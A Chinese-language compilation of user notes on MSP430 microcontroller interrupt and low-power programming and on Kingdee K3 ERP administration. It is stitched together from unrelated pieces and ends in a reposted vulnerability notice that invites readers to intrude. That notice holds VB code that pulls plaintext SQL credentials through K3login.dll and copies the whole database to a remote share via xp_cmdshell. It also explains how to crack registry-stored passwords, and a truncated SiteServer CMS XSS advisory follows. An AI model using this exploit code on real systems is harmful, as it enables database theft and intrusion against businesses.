第一篇:430使用心得
學習MSP430G2553,已有7天有余。個人覺著:低功耗是其最大亮點。為此可謂是處心積慮。因而中斷/低功耗模式在430的應用中便顯得千嬌百媚,楚楚動人!這里,先跟大伙看下這個中斷的情況。
#include
WDTCTL = WDTPW + WDTHOLD;//禁止看門狗計數 P1DIR=BIT0+BIT1;//P1.01設置為輸出,P1.4/5是輸入 P1OUT=BIT0+BIT1+BIT4+BIT5;//P1.01為高,P.4/5上拉 P1REN=BIT4+BIT5;//P1.4上拉使能 P1IE=BIT4+BIT5;//P1.4開中斷 P1IES=BIT4+BIT5;//中斷沿選擇 __enable_interrupt();//開總中斷 while(1);//沒事做 }
#pragma vector=PORT1_VECTOR
__interrupt void PORT1()//P1口中斷服務程序 {
unsigned int i=0;unsigned char PushKey=0;
PushKey=P1IFG&(BIT4+BIT5);//讀取是哪個鍵按下 for(i=0;i<65535;i++);//延時后再作判斷,避免是抖動 if(!(P1IN&PushKey))//沒有按下,則為抖動,標志清零 P1IFG=0;
if((P1IN&PushKey))//判斷是否有鍵按下 {
for(i=0;i<65535;i++);if((P1IN&PushKey)){ if((PushKey&BIT4))P1OUT^=BIT0;if((PushKey&BIT5))P1OUT^=BIT1;}
P1IFG&=~(BIT4+BIT5);} }
這個程序,最出彩的地方在于“while(1);”這個等待的語句。
中斷沒發生前,程序在停這兒等待,就相當于CPU一直停在兒沒事做歇著,也許是在等待戈多。一旦中斷條件發生,在這里是按鍵,它便好像逮著什么似的,便進入中斷,去執行中斷程序中的代碼。
這里,我們可見。中斷沒來之前,CPU它無所事事,卻沒有關閉,仍在耗電。中斷來了之后,它趕忙地處理中斷程序。前前后后,他總在折騰。肯定累得夠戧。
那CPU在哪段時間內本可好好休息,不必浪費精力呢???大伙都知道,肯定是等待戈多那個時間里。所以便會讓它在等待戈多的時間里去休眠。中斷來了確實需它出面處理時,它再醒來處理中斷事件,更為妥當!!于是乎,便有了下面的程序。#include
這里最大與上面最大的不同就是,用LPM3;替代了上面的While(1);這樣一來,在中斷沒來之前,CPU不再作無謂的等待而耗電,而是處在休眠狀態里。中斷發生后,CPU便會自動喚醒,進入中斷去處理中斷程序。實現了低功耗的目的。
這里的低耗模式的實現是這樣的,中斷程序中是喚醒CPU,而后進入主程序,執行相應的功能模塊。相應的功能模塊,全在主程序中。
這便是所謂的中斷中只用喚醒用。我們可以采用另一種方式,主程序中斷只用休眠用。且看下面程序。
#include
TACTL=TASSEL1+MC1+TACLR;//定時器時鐘源為SMCLK,up,不分頻,清零 CCTL0|=CCIE;//使能比較器中斷 CCR0=50000;//計數器終值 P1DIR=0xff;//P1輸出口 __enable_interrupt();//使能全局中斷,C編譯器中的內部函數 LPM3;} #pragma vector=TIMER0_A0_VECTOR __interrupt void Timer(void){ if(flag==0){ i++;if(i==10)//定時0.5s { i=0;P1OUT^=table[num++];P1OUT=table[num];} if(num==8)flag=1;} if(flag==1){ i++;if(i==10)//定時0.5s { i=0;P1OUT^=table[num--];P1OUT=table[num];} if(num==0)flag=0;} }
這里,主程序中只用休眠,一旦中斷條件發生,則進入中斷,而進入中斷后,CPU便自動喚醒。因為要處理中斷服務程序。不過,中斷完了之后,會恢復到中斷前的狀態,在這里便又回到了休眠狀態。
休眠的寫法中,有一個點要注意。若主函數中只作休眠,則中斷函數中不必寫喚醒的語句;若中斷中只作喚醒,則主函數中休眠+待執行語句,要用循環。
相信通過這里的講解,大伙已明白低功耗和中斷的關系了吧。明白了中斷為什么在430中猶為重要了吧
先說說添加自定義頭文件的方法和注意事項
方法的話,隨便一本MSP430單片機C程序設計書中都有詳細詳解,我就不多說了。
最要注意的是添加頭文件了,也許你們也知道“#include<>”和“#include“””都可以添加頭文件,擋在添加自己個人頭文件時,它們又有神馬區別呢,你們就不知道了吧。呵呵,現在說明一下:放在自己工程目錄下的頭文件要用#include “xxxxx.h” ,系統目錄下的頭文件才用#include
怎么判斷頭文件的數值(如0x0001)是表示十六進制數還是表示地址?
1、#define BIT0(0×0001)//(0×0001)不是地址,而是一個16進制數值。
例
1、P3DIR |= BIT3;實際上也可以寫成P3DIR |= 0×0008;意思是將P3口的默認上電值0×0000和0×0008相與,設置P3口的第三位(即P3.3)管腳作輸出使用。例
2、WDTCTL = WDTPW + WDTHOLD;實際上就是WDTCTL=0×5A80;
你可以在頭文件中查到#define WDTPW(0×5A00)和#define WDTHOLD(0×0080)。WDTCTL是看門狗的控
制寄存器,在msp430的User’Guide中有說明:當它的值為0×5A80時停止看門狗定時。
那為什么我們不直接寫成WDTCTL=0×5A80;呢?這樣的話程序的可讀性會很差。0×5A80只是一個數值,當你下次再看你寫的程序,或者別人讀你的程序時,就不明白WDTCTL=0×5A80;的
意思了。如果寫成WDTCTL = WDTPW + WDTHOLD;就好理解多了:
WDTPW(Watchdog timer password,看門狗的密碼,WDTCTL的高8位):只有WDTCTL的高8位為
0×5A時才能對WDTCTL寄存器進行寫操作。
WDTHOLD(Watchdog timer hold,WDTCTL的第7位):當WDTCTL的第7位為1時,停止看門狗計時。
這樣我們通過PW,HOLD就可以輕松的知道WDTCTL = WDTPW + WDTHOLD;是做什么的了。可以看出
msp430的頭文件是很人性化的。
2、當然也有表示地址的,例如,頭文件中有以下部分:
#ifdef __IAR_SYSTEMS_ASM__ #define DEFC(name, address)sfrb name = address #define DEFW(name, address)sfrw name = address;//運用了可變參數宏的宏定義格式:#define 宏符號名(參數表)宏體;宏體中就是寫出參數表中各個參數之間的關系。
#endif ……
#define P6OUT_(0×0035)DEFC(P6OUT , P6OUT_)//這里就是用了以上的可變參數宏。DEFC(P6OUT , P6OUT_)就表示:sfrb P6OUT = P6OUT_ //這里的0×0035就是指P6OUT這個寄存器的地址了。
1、#define ME1_(0x0004)DEFC(ME1 , ME1_)
me1關聯端口0x0004 DEFC的C是字節的意思,也就是me1 就是地址0004處的一個字節即八位數據
2、#define FCTL1_(0x0128)DEFW(FCTL1 , FCTL1_)
其功能是從指定地址開始,定義若干個16位數據
對于對DEFC和DEFW的理解可以到#include
實質上就是要對sfrb和sfrw關鍵字的理解,下面就說說在C430中所擴展的關鍵字吧。
使用處理器專用擴展的保持可可移植性的 #pragma 偽指令
一、新增數據類型:
1、Sfrb----字節類型的特殊功能寄存器或外圍模塊
2、Sfrw----字類型的特殊功能寄存器或外圍模塊
3、Pointer--指針
4、Enum-----枚舉
1、外圍模塊變量Sfrb、Sfrw也稱作特殊功能寄存器變量,直接位于內部RAM單元。Sfrb范圍為:0X00---OXFF; Sfrw范圍為:0X100---0X1FF;
外圍模塊變量使符號名與此范圍的字節或字相聯系,該地址處寄存器可以符號化被尋址,但沒有分配存儲空間。
例如:
Sfrb P1IES =0X24H;字節是8位 Sfrb P1DIR = 0X22H;
Sfrw ADC12CTL1 =0X01A2H 字是16位
經過定義后就可以直接通過對應的符號訪問這些寄存器了。
PIDIR = 0X01;P1.0輸出
2、指針變量
IAR C430的指針變量包括代碼指針和數據指針,都可以指向0000H---0FFFFH的范圍的存儲空間。
3、枚舉類型
用enum關鍵字,可以聲明的每一個變量具有適合它的值所需的最短正數類型,可以是char、short、int或long。
二、中斷函數定義
#pragma vector = 中斷矢量變量
_interrupt void 函數名(void){
調用函數聲明
函數變量定義
函數執行語句 }
其中 _interrupt說明了是中斷函數,中斷矢量變量:說明了該中斷服務函數對應的中斷向量表中的中斷地址
例如:
#pragma vector = WDT_VECTOR()
_interrupt voidwatchdog_timer(void){
P1OUT ^= 0X01;
}
四、提高IAR C430 代碼的效率
1、僅在保存數據存儲器空間的時候才使用位域
2、盡可能使用無符號類型,unsigned類型
3、對16位數據類型MSP430的工作效率更高,通常8位數據類型的使用可節省數據空間,但是不減少代碼大小,不支持32數據類型。
4、復制struct和union是耗費較大的操作,應避免運行時struct/union的賦值,帶struct/union參數的函數以及返回struct/union的函數,應盡量采取指向struct/union的指針操作。
五、IAR頭文件,用戶程序通過頭文件訪問庫定義,頭文件使用#include偽指令與之相結合,為了避免浪費編譯時間,定義被劃分到許多不同的頭部定義,每一個文件覆蓋特定的函數區域,用戶可以根據使用的內容選擇不同的頭文件。
IAR調試環境提供了MSP430單片機各系列的標準頭文件,定義了系列中包含的寄存器的物理地址,在程序中可以字節使用寄存器名或者寄存器中位的名稱,這樣就避免使用實際的物理地址,使程序設計簡介、高效。
六、IAR C430 的匯編語言接口 IAR C430 編譯器可以把編譯好的c語言模塊與匯編語言模塊鏈接起來,這對于要求代碼效率較高的場合尤為重要。
通常用匯編語言來寫子程序,并由C語言主函數調用
1、調用規則:
編譯器使用兩組寄存器
R12——R15用于傳遞參數,在調用時不加保護
其它通用寄存器R4---R---11主要用于存放寄存器變量和中間結果,在調用時應予以保護
2、堆棧結構和參數傳遞
每次調用子程序都會創建一個堆棧結構
3、從c程序傳遞參數
傳遞給匯編子程序的參數依照從右向左的次序。最左邊的兩個參數用寄存器傳遞,除非它們被定義成struct或union而使用堆棧傳遞。其余參數總是通過堆棧傳遞。
第二篇:K3使用心得
說明:本人是一客戶,操作中有一些體會,但計算機語言知之甚少,所述內容不一定很嚴謹,不過應該說還比較通俗。由于相關的使用手冊對操作已有說明,我這個說明與其角度不同,估且作為手冊的一點補充吧。本說明主要講如何使用,對軟件問題及安裝不涉及。文中涉及的不能修改、不能改變均指在操作界面不能處理。我想將這作為新手的借鑒材料,望大家提出意見和建議,包括結構性的和功能上的。本說明的順序無規律,有點想到哪里說到哪里的感覺,其中一部分內容在論壇中與大家交流過。
一、軟件安裝完后,管理員首先要對中間層有一個基本的了解。中間層的密碼很重要,忘了就得重裝中間層;中間層菜單上有一個“系統使用情況”的功能項,這一功能項是反映某一時刻正在使用系統的情況,如果有的單位站點較少,可以通過這里看出當前使用的是哪些人,從而對使用人員進行調節,將某些未用但沒有退出系統的用戶強行清除掉;在系統非正常退出時,中間層還保留其信息,大家在操作時會出現“當前使用的功能與其他用戶沖突”、“該數據正在調用”等提示即與此相關,這時管理員需要在中間層選定對應帳套,通過網絡控制清除相關信息。中間層的主要功能是建立新帳套、備份帳套和恢復帳套,這三項基本功能大家都應該會的,需要指出的是大家在作出重大操作時,如修改數據庫、測試某一功能等情況下,要先備份。對于備份大家可以使用帳套自動指備份,在你選擇好路徑和間隔時間后,系統會自動將帳套備份到指定的地方。自動備份要注意不要關閉,否則下一次備份中斷,該功能可以在中間層關閉后獨立運行,該功能運行時,顯示器右下角會有一個相應的圖標。中間層還有注冊帳套和取消注冊帳套兩個功能項。我是這樣理解的,取消注冊帳套類似于臨時禁用了該帳套,要恢復時只須注冊該帳套即可,這在需要暫時停止某一帳套,同時其他帳套正常使用情況下時適用。如果確實不需要某一帳套了,則使用帳套刪除。
系統默認administrator這一用戶為管理員,其權限最大。管理員可以在中間層修改其密碼,也可以在進入K3系統主控臺時修改。管理員對這兩個地方一般很熟悉,但一般操作員對更改密碼并不熟悉。對于操作員只能在進入主控臺時更改密碼,方法為:雙擊K3快捷方式圖標后,在主控臺處錄入自已的用戶和密碼,不要點擊確定,這時點擊主控臺左上角的修改密碼,修改完成后須錄入新密碼才能進行系統。
二、進入K3主界面后,菜單上的“設置--主控臺編輯”是以所設置的計算機為基礎的,即某一臺機器設置為特定的主控臺后,其他操作員進來時都是一樣的。這樣大家在不熟悉的機器上如果看不到自己所需要的模塊,首先要想到其主菜單的設置更改造成的。菜單上的“設置—選項”中允許多個主采單同時存在是大家用得上的。如果你大部分時間只同時使用一個系統,則不選擇,如果你同時要打開多個界面,則選擇此選項。
主界面下有一個“我的K3”,這一功能項可以將大家常用的幾個功能項放在這里來,不論是哪個子系統的明細功能,只要設為常用功能,以后就可以直接在這里使用,不需要跨模塊選擇明細功能項。“我的K3”中還有一個即時消息中心,主要用于各操作員之間進行業務交流,如提醒有單據需要增加、修改或刪除等,讓各操作員間實現在線交流。-----此帖被gychml于2003-12-3 20:07:52修改過.故障1:K3系統在憑證過帳或是在結帳的過程中提示:與其它用戶有沖突。
解決方法:
1、在客戶端中點“開始——程序——金蝶K3——客戶端部件——系統工具——網絡控制管理”進入對應的帳套,用“清除當前任務”將多余的任務結束。
2、在服務器中進入金蝶K3中間層的帳套管理,將所有的帳做好備份!然后點“系統——系統使用狀況”,用“清除當前任務”工具將多余的任務結束
故障2:為什么用戶擁有倉存管理系統的管理權限,查看即時庫存仍提示沒有權限?
問題原因:即時庫存查詢屬性供應鏈系統的公用功能,用戶進行“供應鏈公用設置”的權限設置。
解決方法:功能權限設置高級中設置用戶“供應鏈系統公用設置”-“即時庫存”的相關權限設置。
故障3:固定資產計提減值準備如何操作?
解決方法:在固定資產“變動處理”中,選中要計提減值準備的卡片,點擊“變動”,在“原值與折舊”頁簽錄入“減值準備”保存后,在“憑證管理”對變動記錄生成憑證即可。
故障4:問題描述 固定資產部分清理一定要先拆分嗎?
解決方法:不一定,如果卡片上數量大于1,錄入要清理數量即可;如果數量等于1,需要先拆分,再去清理.多欄賬的設置。
K3系統在憑證過帳或是在結帳的過程中提示:與其它用戶有沖突。在進行處理的時候不用備份帳套,因為清除清除當前任務并不影響業務數據。由于k3的產品不具備暫存功能,清除當前任務可能會導致正在輸入的某些數據出錯無法保存。
各位同行,本人今年參與公司ERP選型,由于各方面的因素,最終選擇金蝶K3。下面我講
講個人心得。
1.選型的時候要多了解軟件的功能,就算時間短也要進行測試,測試的方法只需要自己擬訂幾份訂單,做幾個BOM跑幾遍流程基本上就可以看出效果。
2.一定要注意ERP的版本,我當時就沒有了解清楚,時間也比較緊上面一直才催,所以吃了虧,原來金蝶K3是分成長版和專業版的,當出演示測試的時候他們用的是專業版,合同的時候簽的是成長版,所以導致很多功能沒有或者有但是做的沒有那么好。所以大家以后在選擇ERP的時候一定要了解清楚,不管你選的是拿款軟件。
3.金蝶K3ERP總體的功能和架構上還是算可以的(專業版)一些功能考慮的比較完善,但是生產管理MRP部分卻做的不是很好,他們的MRP分析是計算總需求的,不會理會訂單的跟蹤性,如果你要訂單跟蹤性(所有物料一定要與訂單掛鉤并且要在每個環節都能查到對應的銷售訂單的話,那就建議你不要使用,因為對應出來的是錯的,如果出現插單的情況的話,你會發現,所對應跟蹤出來的數據是錯的)要求很強的話建議你不要選擇。
4.所有事情都要在簽合同前說清楚,不要相信軟件公司所謂的多少錢一天的實施費,要在合同上寫清楚包項目,并寫清楚最起碼他們顧問要來多少天,當然根據我4年的經驗一般軟件公司的顧問,他們除了熟悉他們軟件以外,給不出什么可行的建議給你們的,所以不要指望能在過程當中學到什么東西,可以負責的給你們講,如果你們熟悉他們的軟件你做的比他們
好。
5、財務部分能不上的先不要上(買的時候也先不要買),等其他模塊都做好以后才上財務部分,不要相信軟件公司說的3個月內能夠做好,那都是鬼話。前面的做好以后再和財務部的相關人員相量什么時候上財務部分。
附件中是我們公司選擇的模塊和實施價格,上面的價格按我個人想法可以再減2萬但是我們公司上面沒有想談價格的意思,所以我只是給他們講了下,沒有強力的壓他們價格。另外大家在選著站點的時候要生產管理部分的要多選幾個一般要10個以上比較合適。我就是當初選了5個后來發現少了,不夠用。我們公司固定電腦100臺,全公司有1千人,個人覺得類
似我們公司規模的都可以參考。
金蝶2000版7.0,我使用好幾年了,作為單機版,感覺功能很全,一般中小型企業及行政事業單位用起來綽綽有余,近來,我在新建財務報表、過賬時,卻發現了幾個小問題:希望各位同仁能幫幫我,如你有什么問題的話,我也可以盡可能的幫你喲.一.報表公式:不能用函數,造成取數困難;二.現金流量表不能用,盡管軟件提供了菜單,可是不能使用;三.不能反過賬,要想回到上期的賬套,只有恢復在過賬時做的備份;四.我最覺得好用的還是該軟件的“工資”功能,類似Foxpro的處理方法和習慣,讓人用起來得心應手.比起從網上下的工資軟件,方便多了.我單位從2001年開始啟用金蝶K3系統,包括總賬、固定資產、現金流量、報表系統等其他模塊。成本管理、物流管理軟件是自行開發的,包括銷售管理、倉儲管理、進出口業務管理等軟件,自行開發軟件是滿足目前的需要,等時機成熟,還是要改用標準化軟件的。初始化工作及軟件調整工作方面的壓力是挺大的,但完成之后,感覺操作挺方便的,工作質量有了很大提高。沒用過用友軟件,所以無法作出比較。
5月5號網站漏洞公告!!
金蝶K3出現嚴重安全漏洞,黑客可輕易讀取數據庫所有信息
想入侵的朋友趕緊速度了
估計其他ERP軟件里也不少類似的東西,有興趣的同學可以跟一下。轉載開始。
這個漏洞在K3 各個版本都存在并且一樣,包括新發版的K3 V12的3個版本。主要數據安全漏洞描述如下:
最大的安全漏洞在K3login.dll這個控件上,,它能明文顯示K3 ERP數據庫的密碼等信息,這是非常危險的,簡單VB6.0代碼如下:
Dim k3lg As New k3Login.ClsLogin If k3lg.CheckLogin Then ?如果成功登錄,執行下面語句 Msgbox k3lg.PropsString End If 運行上述代碼后,會彈出對話框,顯示所有SQL數據庫信息
你們看看,客戶的ERP 數據庫安全是不是全部暴露出來了,這是致命的漏洞,一個企業的所有商業機密都在這個數據庫中,如該數據庫泄露出去,對企業的影響是致命的。由于K3 ERP的這個漏洞,網管完全不知道數據庫是如何泄露的(沒有采用黑客攻擊等非法手段,只是利用金蝶ERP軟件安全設計漏洞),這些漏洞金蝶集團的開發人員提供的建議是(K3X經理提供的建議):采用WINDOWS模式認證即可避免此漏洞,請各位修改認證方式,避免企業內部數據丟失!
K3 ERP登錄留下密碼痕跡漏洞,適合所有版本:當用戶通過登錄界面登錄ERP后,會將登錄信息寫入注冊表中,包括服務器名稱、登錄密碼、用戶名稱等等,因此該注冊表就泄露了所有在計算機中登錄用戶的信息,其加密方式太簡單,只要幾次枚舉方式就可PJ,通過數學知識,如等差數列等規律,輕而易舉地將用戶密碼PJ,你們研究加密算法的人自己去看看規律,應對方法:因此用戶最好定期清除注冊表的登錄痕跡,防止用戶密碼泄露。
利用金蝶ERP軟件中KDLOGIN.dll漏洞 遠程備份服務器中ERP數據庫代碼如下(VB): Public k3lg As New k3Login.ClsLogin Public cnn As New ADODB.Connection Public i As Integer Public j As Integer Public K As Integer Public S As Integer Public cnnstr As String Public databsnm As String Public Sub Main()On Error Resume Next If k3lg.CheckLogin Then i = InStr(k3lg.PropsString, “{“)j = InStr(k3lg.PropsString, “}”)
cnnstr = Mid(k3lg.PropsString, i + 1, j – i – 1)For K = 0 To Len(cnnstr)– 1 If Left(Right(cnnstr, K), 1)= “=” Then databsnm = Right(cnnstr, K – 1)Exit For End If Next K F001主窗口.帳套名稱 = k3lg.AcctName F001主窗口.Show End If End Sub Public Sub 備份數據庫(ByVal beifsjk As String)Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String Dim jsj As String Dim yhu As String Dim mima As String Dim wenjian As String jsj = F001主窗口.計算機名稱.Text wenjian = F001主窗口.文件夾.Text mima = F001主窗口.用戶密碼.Text yhu = F001主窗口.用戶名稱.Text fy = “exec master..xp_cmdshell?net use z: ” & jsj &”-:special:1:-& wenjian & “ ” & mima & “ /user:”& jsj & “-:special:1:-& yhu & “?”
fy001 = “backup database ” & databsnm & ” to disk=?z:-:special:1:-& beifsjk & ” ?”
fy002 = “exec master..xp_cmdshell ?net use z: /delete? ” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫: ” & databsnm & ” 成功備份為: ” & beifsjk, vbInformation, “提示”
Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub Public Sub 清除日志()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String Dim fy001 As String Dim fy002 As String fy = “dump transaction ” & databsnm & ” with truncate_only”
fy001 = “backup log ” & databsnm & ” with truncate_only”
fy002 = “dbcc shrinkdatabase(” & databsnm & “)” cnn.Execute fy cnn.Execute fy001 cnn.Execute fy002 cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫: ” & databsnm & “日志成功清除!”, vbInformation, “提示”
Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub Public Sub 修改數據庫密碼函數()Screen.MousePointer = 13 Set cnn = New ADODB.Connection cnn.CommandTimeout = 0 cnn.Open cnnstr cnn.BeginTrans On Error GoTo cnn_err: Dim fy As String fy = “exec sp_password ” & “?” & F002數據庫密碼修改.輸入舊密碼 & “?”& “,” & “?” & F002數據庫密碼修改.新密碼確認.Text & “?” cnn.Execute fy cnn.CommitTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox “數據庫密碼成功修改!”, vbInformation, “提示”
Exit Sub cnn_err: cnn.RollbackTrans cnn.Close Set cnn = Nothing Screen.MousePointer = vbDefault MsgBox Err.Description, vbInformation, “錯誤提示” End Sub =============== SiteServer CMS存在多處跨站漏洞
影響版本: SiteServer CMS 3.3.9
程序介紹: SiteServer CMS 網站內容管理系統是定位于中高端市場的CMS內容管理系統,能夠以最低的成本、最少的人力投入在最短的時間內架設一個功能齊全、性能優異、規模龐大的網站平臺
漏洞分析:
程序因register.aspx等多個頁面過濾不嚴導致跨站腳本攻擊漏洞
漏洞利用:
1.注冊頁面為過濾用戶提交非法參數導致跨站,插入跨站語句即可: http://demo.siteserver.cn/usercenter/register.aspx?ReturnUrl=">[XSS] 2.進入用戶管理節目后,個人簽名以及空間描述插入跨站語句均可導致跨站漏洞 post: